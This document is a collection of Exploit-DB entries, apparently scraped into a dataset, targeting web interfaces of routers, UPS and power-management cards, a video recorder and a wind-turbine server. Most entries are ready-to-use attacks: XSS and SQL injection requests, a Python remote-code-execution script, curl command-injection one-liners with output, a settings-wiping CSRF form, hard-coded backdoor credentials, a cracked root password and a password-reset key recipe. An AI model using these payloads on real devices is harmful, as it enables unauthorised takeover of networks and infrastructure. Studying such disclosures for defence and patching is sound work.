deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45422
Description: Netis ADSL Router DL4322D RTK 2.1.1 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-09-17
Author: cakes

Exploit:
# Exploit Title: Netis ADSL Router DL4322D RTK 2.1.1 - Cross-Site Scripting
# Author: Cakes
# Discovery Date: 2018-09-16
# Vendor Homepage: http://www.netis-systems.com
# Software Link: http://www.netis-systems.com/Home/detail/id/74.html
# Tested Version: RTK 2.1.1
# Tested on OS: Kali Linux
# CVE: N/A

# Description:
# Improper input validation on the  router web interface allows attackers add a persistent 
# Cross-Site scripting attack on the Dynamic DNS hostname field. Simply intercept a renaming 
# request and add in the XSS

# Poc

POST /form2Ddns.cgi HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://Target/ddns.htm?v=[PII_REDACTED]00
Cookie: SessionID=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 119

ddnsProv=0&hostname=<script>alert("Cakes");</script>&interface=15&enable=on&username=tester&[CREDENTIAL_REDACTED]=Add&submit.htm%3Fddns.htm=Send
Exploit-DB #48382
Description: Netis E1+ 1.2.32533 - Backdoor Account (root)
Type: webapps
Platform: hardware
Date: 2020-04-27
Author: Besim

Exploit:
# Exploit Title: Netis E1+ 1.2.32533 - Backdoor Account (root)
# Date: 2020-04-25
# Author: Besim ALTINOK
# Vendor Homepage: http://www.netis-systems.com
# Software Link: http://www.netis-systems.com/Suppory/downloads/dd/1/img/204
# Version: V1.2.32533
# Tested on: Netis E1+ V1.2.32533
# Credit: İsmail BOZKURT
-----------------------------

*root:abSQTPcIskFGc:0:0:root:/:/bin/sh*


Created directory: /home/pentestertraining/.john
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 SSE2-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: MaxLen = 13 is too large for the current hash type, reduced
to 8*realtek          (root)*
1g 0:00:00:28 3/3 0.03533g/s 1584Kp/s 1584Kc/s 1584KC/s realka2..reasll5
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Exploit-DB #48384
Description: Netis E1+ V1.2.32533 - Unauthenticated WiFi Password Leak
Type: webapps
Platform: hardware
Date: 2020-04-27
Author: Besim

Exploit:
# Exploit Title: Netis E1+ 1.2.32533 - Unauthenticated WiFi Password Leak
# Date: 2020-04-25
# Author: Besim ALTINOK
# Vendor Homepage: http://www.netis-systems.com
# Software Link: http://www.netis-systems.com/Suppory/downloads/dd/1/img/204
# Version: V1.2.32533
# Tested on: Netis E1+ V1.2.32533
# Credit: İsmail BOZKURT
-----------------------------

HTTP Request
-------------------------------------------
GET //netcore_get.cgi HTTP/1.1
Host: netisext.cc
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0)
Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: homeFirstShow=yes
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


Detail of the HTTP Response:
-------------------------------------------
hange_name':'[ ]','ddns_domain':'','ddns_info':'[ ]','time_now':'01/14/2015
09:58:51','timezone':'-8
1','time_type':'1','daylight_save':'1','time_server':'65.55.56.206','time_date':'2015','time_date2':'1','time_date3':'14','time_time':'9','time_time2':'58','time_time3':'51','old_user':'','def_pwd_flag':'1','old_pwd':'','wakeup_mac':'00:00:00:00:00:00','rp_config_status':'35','rp_client_status':'3','rp_ap_ssid':'ExampleSSID','rp_ap_password':'WiFiPass123','rp_ap_users':'1','rp_client_ssid':'TestSSID','rp_client_bssid':'98:e7:f5:ab:95:ad','rp_client_password':'WiFiPass123','rp_client_time':'357','rp_client_signals':'65','rp_client_speeds':'117','rp_roaming_onoff':'16','rp_soon_ssid':'TestSSID','rp_soon_password':'WiFiPass123','rr_current_mode':'1','rp_diagnose_status':'0',"statistics_list":[{'type':'LAN','tx_pack':'0','rx_pack':'0','t
Exploit-DB #48149
Description: Netis WF2419 2.2.36123 - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2020-03-02
Author: Elias Issa

Exploit:
# Exploit Title: Netis WF2419 2.2.36123 - Remote Code Execution 
# Exploit Author: Elias Issa
# Vendor Homepage: http://www.netis-systems.com
# Software Link: http://www.netis-systems.com/Suppory/downloads/dd/1/img/75
# Date: 2020-02-11
# Version: WF2419 V2.2.36123 => V2.2.36123
# Tested on: NETIS WF2419 V2.2.36123 and V2.2.36123
# CVE : CVE-2019-19356


# Proof of Concept: python netis_rce.py http://192.168.1.1 "ls"

#!/usr/bin/env python
import argparse
import requests
import json

def exploit(host,cmd):
	# Send Payload
	headers_value={'User-Agent': 'Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0',  
			'Content-Type': 'application/x-www-form-urlencoded'}
	post_data="mode_name=netcore_set&tools_type=2&tools_ip_url=|+"+cmd+"&tools_cmd=1&net_tools_set=1&wlan_idx_num=0"
	vulnerable_page = host + "/cgi-bin-igd/netcore_set.cgi"
	req_payload = requests.post(vulnerable_page, data=post_data, headers=headers_value)
	print('[+] Payload sent')
	try :
		json_data = json.loads(req_payload.text)
		if json_data[0] == "SUCCESS":
			print('[+] Exploit Sucess')
			# Get Command Result
			print('[+] Getting Command Output\n')
			result_page = host + "/cgi-bin-igd/netcore_get.cgi"
			post_data = "mode_name=netcore_get&no=no" 
			req_result = requests.post(result_page, data=post_data, headers=headers_value)
			json_data = json.loads(req_result.text)
			results = json_data["tools_results"]
			print results.replace(';', '\n')
		else:
			print('[-] Exploit Failed')
	except:
  		print("[!] You might need to login.") 

# To be implemented
def login(user, password):
	print('To be implemented')

def main():
    host = args.host
    cmd = args.cmd
    user = args.user
    password = args.password
    #login(user,password)
    exploit(host,cmd)

if __name__ == "__main__":
    ap = argparse.ArgumentParser(
            description="Netis WF2419 Remote Code Execution Exploit (CVE-2019-1337) [TODO]")
    ap.add_argument("host", help="URL (Example: http://192.168.1.1).")
    ap.add_argument("cmd", help="Command to run.")
    ap.add_argument("-u", "--user", help="Admin username (Default: admin).",
            default="admin")
    ap.add_argument("-p", "--password", help="Admin password (Default: admin).",
            default="admin")
    args = ap.parse_args()
    main()
Exploit-DB #43919
Description: Netis WF2419 Router - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2018-01-28
Author: Sajibe Kanti

Exploit:
# Exploit Title: Netis-WF2419 Router Cross-Site Request Forgery (CSRF)
# Date: 28/01/2018
# Exploit Author: Sajibe Kanti
# Author Contact: https://twitter.com/@sajibekantibd
# Vendor Homepage: http://www.netis-systems.com/
# Version: Netis-WF2419, V2.2.36123
# Tested on: Windows 10
#Technical Details & Description:

A cross-site request forgery web vulnerability has been discovered in the
official Netis-WF2419 Router.

The vulnerability allows remote attackers to manipulate client-side
web-application to browser requests to compromise the router
by execution of system specific functions without session protection.

A remote attacker is able to delete Address Reservation List settings of
Netis Router with a cross-site request forgery html script code.

The vulnerability can be exploited by loading embedded html code in a site
or page. The issue can also be exploited by attackers to external redirect
an user account
to malicious web pages.
 The issue requires medium user interaction in case of exploitation. The
request method to execute is GET and the attack vector is located on the
client-side of the router firmware.

Exploitation of the cross site request forgery web vulnerability requires
no privilege web application user account and medium or high user
interaction.
Successful exploitation results in client-side account theft by client-side
phishing, client-side external redirects and non-persistent manipulation of
application functions that are in use.

The vulnerability can be exploited by remote attackers without privileged
application user account and with medium or high user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.

#Manual steps to reproduce the vulnerability :

1. Logging Your Netis Router
1. Now inject or use the html code
2. When the user of the router opens the html code in site or other type of
redirection. Router Address Reservation List will be erased!
4. Successful reproduce of the cross site request forgery vulnerability!

#PoC: Exploitcode :

<html>
  <body>
    <form action="http://192.168.10.2/cgi-bin-igd/netcore_set.cgi"
method="POST">
      <input type="hidden" name="mode&#95;name" value="netcore&#95;set" />
      <input type="hidden" name="reserve&#95;address&#95;set" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


Note: By loading this html code All Address Reservation List will be erased
and the router becomes finally misconfigured!
Exploit-DB #43981
Description: Netis WF2419 Router - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-02-05
Author: Sajibe Kanti

Exploit:
# Exploit Title: Netis-WF2419 HTML Injection
# Date: 20/01/2018
# Exploit Author: Sajibe Kanti
# Author Contact :https://twitter.com/@sajibekantibd
# Vendor Homepage: http://www.netis-systems.com/
# Version: Netis-WF2419 , V3.2.41381
# Tested on: Windows 10

# CEV : CVE-2018-6190


 HTML Injection in Netis-WF2419



Netis-WF2419 is prone to an HTML-injection vulnerability because it fails
to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or script code could run in the context of the
affected site, potentially allowing the attacker to steal cookie-based
authentication credentials and control how the site is rendered to the
user; other attacks are also possible.

Netis-WF2419 is vulnerable;

Proof of Concept:

1. Go to your wireless router ip (ex. 192.168.0.1)

2. Go to Wireless Settings - tab

3. Now Click MAC Filtering -tab

4.Write  MAC Address and in -Description- write (<h1>XSS-PWD</h1>)

5.Click Add

6. Now You Can See HTML Injection



#Solution:

 Upgrade Firmware
Exploit-DB #48225
Description: Netlink GPON Router 1.0.11 - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2020-03-18
Author: shellord

Exploit:
# Exploit Title: Netlink GPON Router 1.0.11 - Remote Code Execution
# Date: 2020-03-17
# Exploit Author: shellord
# Vendor Homepage: https://www.netlink-india.com/
# Version: 1.0.11
# Tested on: Windows 10
# CVE: N/A

Exploit :

curl -L -d "target_addr=;ls /&waninf=1_INTERNET_R_VID_154"
http://TARGETIP/boaform/admin/formPing

Response :

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!--ϵͳĬģ-->
<html>
<head>
<title>PINGԽ</title>
<meta http-equiv=pragma content=no-cache>
<meta http-equiv=refresh content="2">
<meta http-equiv=cache-control content="no-cache, must-revalidate">
<meta http-equiv=content-type content="text/html; charset=gbk">
<meta http-equiv=content-script-type content=text/javascript>
<!--ϵͳcss-->
<style type=text/css>
@import url(/style/default.css);
</style>
<!--ϵͳű-->
<script language="javascript" src="common.js"></script>
</head>

<!-------------------------------------------------------------------------------------->
<!--ҳ-->
<body topmargin="0" leftmargin="0" marginwidth="0" marginheight="0"
alink="#000000" link="#000000" vlink="#000000">
        <blockquote>
        <form>
        <div align="left" style="padding-left:20px;"><br>
        <div align="left"><b>Finish</b>
        <br><br>
        </div>
        <pre>
bin
dev
etc
home
image
lib
mnt
proc
sbin
sys
tmp
usr
var
        </pre>

                <input type=button value="back"
onClick=window.location.replace("/diag_ping_admin_en.asp")>
        </div>
        </form>
        </blockquote>
</body>
</html>
Exploit-DB #48470
Description: Netlink XPON 1GE WiFi V2801RGW - Remote Command Execution
Type: webapps
Platform: hardware
Date: 2020-05-14
Author: Seecko Das

Exploit:
# Exploit Title: Netlink XPON 1GE WiFi V2801RGW - Remote Command Execution
# Google Dork: Not applicable
# Date: 2020-05-13
# Exploit Author: Seecko Das
# Vendor Homepage: https://www.crtindia.com/
# Version: V3.3.0-190627
# Tested on: Windows 10/Linux (Kali)
# CVE: N/A

Exploit :

curl -L -d "target_addr=1.1.1.1+%7C+ls&waninf=1_INTERNET_R_VID_168" http://IPADDRESS/boaform/admin/formPing
 

Response :

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!--ϵͳĬ��ģ��-->
<html>
<head>
<title>PING���Խ��</title>
<meta http-equiv=pragma content=no-cache>
<meta http-equiv=refresh content="2">
<meta http-equiv=cache-control content="no-cache, must-revalidate">
<meta http-equiv=content-type content="text/html; charset=gbk">
<meta http-equiv=content-script-type content=text/javascript>
<!--ϵͳ����css-->
<style type=text/css>
@import url(/style/default.css);
</style>
<!--ϵͳ�����ű�-->
<script language="javascript" src="common.js"></script>
</head>
<!-------------------------------------------------------------------------------------->
<!--��ҳ����-->
<body topmargin="0" leftmargin="0" marginwidth="0" marginheight="0" alink="#000000" link="#000000" vlink="#000000">
 <blockquote>
 <form>
 <div align="left" style="padding-left:20px;"><br>
	<div align="left"><b>Please wait</b>
	<br><br>
	</div>
	<pre>
boa.conf
web
	</pre>

 <input type=button value="back" onClick=window.location.replace("/diag_ping_admin.asp")>
 </div>
 </form>
 </blockquote>
</body>
</html>
Exploit-DB #41208
Description: Netman 204 - Backdoor Account / Password Reset
Type: webapps
Platform: hardware
Date: 2017-01-31
Author: Simon Gurney

Exploit:
# Exploit Title: Netman 204 Backdoor and weak password recovery function
# Google Dork: intitle:"Netman 204 login"
# Date: 31st Jan 2017
# Exploit Author: Simon Gurney
# Vendor Homepage: blog.synack.co.uk
# Software Link: http://www.riello-ups.co.uk/uploads/file/319/1319/FW058-0105__FW_B0225_NetMan_204_.zip
# Version: S14-1 and S15-2
# Tested on: Reillo UPS
# CVE : N/A

Netman 204 cards have a backdoor account eurek:eurek.

This account can be logged with by simply browsing to the URL
http://[IP]/cgi-bin/login.cgi?username=eurek&password=eurek
or
https://[IP]/cgi-bin/login.cgi?username=eurek&password=eurek

Due to flaws in parameter validation, the URL can be shortened to:
http://[IP]/cgi-bin/login.cgi?username=eurek%20eurek
or
https://[IP]/cgi-bin/login.cgi?username=eurek%20eurek

This backdoor has previously been reported by Saeed reza Zamanian under EDB-ID: 40431 here<https://www.exploit-db.com/exploits/40431/>, which shows how to utilise this to gain shell access however this did not give detail of how easy it is to log in to the device and access the administrative functions via the web interface.  The google dork provided also reveals some UPS exposed to the internet.

If an admin has changed the passwords, they can be reset by generating a reset key from the MAC address if you are on the same subnet:

NETMANID=204:`/sbin/ifconfig eth0 | awk '/HWaddr/ {print $NF}' `
KEY=`echo .$NETMANID | md5sum | cut -c2-10`

To generate the key, do an MD5 hash of 204:[MAC ADDRESS]
Such as,
204:AA:BB:CC:DD:EE:FF == 0354a655811843aab718cfcf973c7dab
Then take characters 2-10, where position 1 is character 1 (not 0).
Such as,
354a65581

Then browse to the url:
http://[ip]/cgi-bin/recover2.cgi?[CREDENTIAL_REDACTED]
or
https://[ip]/cgi-bin/recover2.cgi?[CREDENTIAL_REDACTED]


Passwords have now been reset.
Exploit-DB #47704
Description: Network Management Card 6.2.0 - Host Header Injection
Type: webapps
Platform: hardware
Date: 2019-11-21
Author: Amal E Thamban

Exploit:
# Exploit Title: Network Management Card 6.2.0 - Host Header Injection
# Google Dork: 
# Date: 2019-11-21
# Exploit Author: Amal E Thamban,Kamal Paul
# Vendor Homepage: https://www.apc.com/in/en/
# Software Link: https://www.apc.com/shop/in/en/products/Network-Management-Card
# Version: v6.2.0
# Tested on: Kali Linux
# CVE : 


Description:Host Header Injection

Product is vulnerable to host header injection because the host header can be changed to something outside the target domain (ie.evil.com) and cause it to redirect to to that domain instead. 
-------------------------------------------------------------------------------------------------------------------------
Orginal Request
GET / HTTP/1.1
Host: 192.168.10.211
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.10.211/logon.htm
Connection: close
Cookie: C0=apc
Upgrade-Insecure-Requests: 1
--------------------------------------------------------------------------------------------------------------------------
Modifed request

GET / HTTP/1.1
Host: evil.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.10.211/logon.htm
Connection: close
Cookie: C0=apc
Upgrade-Insecure-Requests: 
---------------------------------------------------------------------------------------------------------------------------
Response

HTTP/1.1 303 See Other
Location: http://evil.com/home.htm
Content-Length: 0
WebServer:
Connection: close
Exploit-DB #50744
Description: Network Video Recorder NVR304-16EP - Reflected Cross-Site Scripting (XSS) (Unauthenticated)
Type: webapps
Platform: hardware
Date: 2022-02-16
Author: Luis Martínez

Exploit:
# Exploit Title: Network Video Recorder NVR304-16EP - Reflected Cross-Site Scripting (XSS) (Unauthenticated)
# Author: Luis Martinez
# Discovery Date: 2022-02-13
# Vendor Homepage: https://www.uniview.com/Products/NVR/Easy/NVR304-S-P/#~Product%20features
# Datasheet of NVR304-S-P: https://www.uniview.com/download.do?id=1819568
# Tested Version: NVR304-16EP
# Tested on: Windows 10 Pro 21H2 x64 es - Firefox 91.6.0esr
# Vulnerability Type: Reflected Cross-Site Scripting (XSS)
# CVE: N/A

# Proof of Concept:

http://IP/LAPI/V1.0/System/Security/Login/"><script>alert('XSS')</script>
Exploit-DB #44684
Description: Nordex N149/4.0-4.5 - SQL Injection
Type: webapps
Platform: hardware
Date: 2018-05-22
Author: t4rkd3vilz

Exploit:
# Exploit Title: Nordex N149/4.0-4.5 Wind Turbine Web Server - SQL Injection
# Date: 21-05-2018
# Exploit Author: t4rkd3vilz
# Vendor Homepage: http://www.nordex-online.com
# Tested on: Windows
# Version: N149/4.0-4.5 Wind Turbine
# Category: webapps

---> Proof Of Concept

-------- > Request

POST /php/login.php HTTP/1.1
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/41.0.2272.16 Safari/537.36
Accept: */*
Referer: http://IpAdress//
X-Requested-With: XMLHttpRequest
Accept-Language: en-us,en;q=0.5
Host: IPAdress
Accept-Encoding: gzip, deflate
Content-Length: 304
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

login=-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27&password=3

-------- > Response

HTTP/1.1 200 OK
Server: Apache
Content-Length: 261
X-Frame-Options: SAMEORIGIN
Content-Type: text/html; charset=UTF-8
Content-Encoding:
Date: Wed, 16 May 2018 10:49:31 GMT
Vary: Accept-Encoding

<br />
<b>Warning</b>:  mysqli::query(): (23000/1062): Duplicate entry
'_!@4dilemma:1' for key 'group_key' in
<b>/share/HDA_DATA/Web/php/login.php</b> on line <b>46</b><br />
<br />
<b>Notice</b>:  Trying to get property of non-object in
<b>/share/HDA_DATA/Web/php/login.php</b> on line <b>47</b><br />
FALSE<br />
<b>Fatal error</b>:  Call to a member function free() on boolean in
<b>/share/HDA_DATA/Web/php/login.php</b> on line <b>67</b><br />
Exploit-DB #42933
Description: NPM-V (Network Power Manager) 2.4.1 - Password Reset
Type: webapps
Platform: hardware
Date: 2017-10-02
Author: Saeed reza Zamanian

Exploit:
NPM-V(Network Power Manager) <= 2.4.1 Reset Password Vulnerability

Author: Saeed reza Zamanian [penetrationtest @ Linkedin]
Product: NPM-V
Affected Version : 2.4.1 and below
Vendor : http://www.china-clever.com
Product Link : http://www.china-clever.com/en/index.php/product?view=products&cid=125
Date: 2017 Sep 25
Manual: ftp://support.danbit.dk/N/NPOWER8IEC-E/NPM-V%20User%20Manual.pdf


[*] NPM Introduction:
	The NPM(Network Power Manager) is a network manageable device that provides power monitoring,
	controlling and managements to many equipments in the rack cabinet of data center all over the world through
	LAN or WAN. For meeting with the restrictions and requirements in different environment, NPM supplies many
	connection methods that user can manage it through its Web interface(HTTP or HTTPS), Serial connection, Telnet
	or SNMP
[*] Vulnerability Details:
	Based on security Check on this device , Authentication doesn't check on Device Admin Console 
	an attacker can access to management console pages directly and without authentication.
	All files in these directories are directly accessible . /log/ /chart /device and /user .

[*] PoC:
	An Attacker can directly access to below page and Add User or View Password or Change Administrator credential without authentication.
	if you browse this page you will see an html page likely the image exists on Page 13 (Figure 1-4) on Device Users Manual.
	http://[Device IP]/user/user.html


#EOF